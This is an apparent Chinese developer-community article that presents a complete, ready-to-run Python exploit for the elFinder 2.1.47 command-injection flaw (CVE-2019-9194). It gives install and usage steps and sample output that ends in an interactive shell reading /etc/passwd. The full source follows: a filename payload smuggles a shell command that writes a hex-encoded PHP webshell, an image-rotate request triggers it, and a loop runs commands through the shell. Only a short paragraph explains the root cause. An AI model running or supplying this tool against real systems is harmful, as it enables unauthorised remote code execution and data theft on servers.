
一个专业、高效的漏洞利用框架,专门针对 elFinder 文件管理器 2.1.47 及更早版本中的命令注入漏洞(CVE-2019-9194)。该工具能够通过精心构造的JPEG文件上传,利用图像处理过程中的命令注入点,在目标服务器上部署PHP Webshell,并提供交互式远程命令执行环境。
# 克隆代码仓库
git clone https://github.com/yourusername/CVE-2019-9194-exploit.git
cd CVE-2019-9194-exploit
# 安装Python依赖
pip3 install requests工具采用单文件设计,下载后即可直接使用,无需复杂配置:
# 赋予执行权限
chmod +x exploit.py
# 查看帮助
python3 exploit.py工具的使用非常简单,只需要提供目标URL即可:
python3 exploit.py http://target.com/elFinder$ python3 exploit.py http://192.168.1.100/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)
$ whoami
www-data
$ ls -la
total 124
drwxr-xr-x 5 www-data www-data 4096 Mar 1 10:30 .
drwxr-xr-x 8 root root 4096 Mar 1 10:30 ..
-rw-r--r-- 1 www-data www-data 1234 Mar 1 10:30 SecSignal.php
drwxr-xr-x 2 www-data www-data 4096 Mar 1 10:30 files
-rw-r--r-- 1 www-data www-data 56789 Mar 1 10:30 index.php
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...漏洞利用的核心在于 elFinder 在处理文件旋转时,未对通过文件名传递的参数进行充分过滤,直接将用户控制的参数传递给 exiftran 命令执行。攻击者可以在文件名中注入命令分隔符和恶意命令,实现远程代码执行。
#!/usr/bin/env python3
"""
CVE-2019-9194 - elFinder <= 2.1.47 Command Injection
Usage: python3 exploit.py http://TARGET
"""
import requests
import json
import sys
SHELL_FILENAME = "SecSignal.php"
# Filename payload: injects command that writes a PHP webshell
# The hex decodes to: <?php system($_GET["c"]); ?>
UPLOAD_FILENAME = (
"SecSignal.jpg;"
"echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a "
f"| xxd -r -p > {SHELL_FILENAME};"
"echo SecSignal.jpg"
)
def upload(url: str) -> str:
"""上传包含恶意payload的JPEG文件"""
files = {"upload[]": (UPLOAD_FILENAME, JPEG, "image/jpeg")}
data = {
"reqid": "1693222c439f4",
"cmd": "upload",
"target": "l1_Lw",
"mtime[]": "1497726174",
}
r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
r.raise_for_status()
return json.loads(r.text)["added"][0]["hash"]def img_rotate(url: str, file_hash: str) -> None:
"""
通过图像旋转操作触发命令注入漏洞
此操作会调用 exiftran 处理文件名,导致注入的命令被执行
"""
params = {
"target": file_hash,
"width": "539",
"height": "960",
"degree": "180",
"quality": "100",
"bg": "",
"mode": "rotate",
"cmd": "resize",
"reqid": "169323550af10c",
}
requests.get(f"{url}/php/connector.minimal.php", params=params)def shell(url: str) -> None:
"""
提供交互式命令行界面
通过PHP webshell执行系统命令并返回结果
"""
r = requests.get(f"{url}/php/{SHELL_FILENAME}")
if r.status_code == 200:
print("[+] Pwned!")
print("[+] Interactive shell (Ctrl+C to exit)\n")
while True:
try:
cmd = input("$ ").strip()
if not cmd:
continue
out = requests.get(f"{url}/php/{SHELL_FILENAME}", params={"c": cmd})
print(out.text.strip())
except KeyboardInterrupt:
print("\nBye!")
sys.exit(0)
else:
print(f"[-] Shell not found (HTTP {r.status_code}). Target may not be vulnerable.")# 最小有效的JPEG文件二进制数据
# 来源: https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
JPEG = bytes([
0xFF,0xD8,0xFF,0xDB,0x00,0x43,0x00,0x03,0x02,0x02,0x02,0x02,0x02,0x03,0x02,0x02,
0x02,0x03,0x03,0x03,0x03,0x04,0x06,0x04,0x04,0x04,0x04,0x04,0x08,0x06,0x06,0x05,
0x06,0x09,0x08,0x0A,0x0A,0x09,0x08,0x09,0x09,0x0A,0x0C,0x0F,0x0C,0x0A,0x0B,0x0E,
0x0B,0x09,0x09,0x0D,0x11,0x0D,0x0E,0x0F,0x10,0x10,0x11,0x10,0x0A,0x0C,0x12,0x13,
0x12,0x10,0x13,0x0F,0x10,0x10,0x10,0xFF,0xC9,0x00,0x0B,0x08,0x00,0x01,0x00,0x01,
0x01,0x01,0x11,0x00,0xFF,0xCC,0x00,0x06,0x00,0x10,0x10,0x05,0xFF,0xDA,0x00,0x08,
0x01,0x01,0x00,0x00,0x3F,0x00,0xD2,0xCF,0x20,0xFF,0xD9,
])def main():
"""主程序入口:参数解析和漏洞利用流程控制"""
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} http://TARGET")
sys.exit(1)
url = sys.argv[1].rstrip("/")
print("[*] Uploading malicious image...")
file_hash = upload(url)
print(f"[*] File uploaded, hash: {file_hash}")
print("[*] Triggering command injection via image rotation...")
img_rotate(url, file_hash)
print("[*] Checking for webshell...")
shell(url)
if __name__ == "__main__":
main()原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。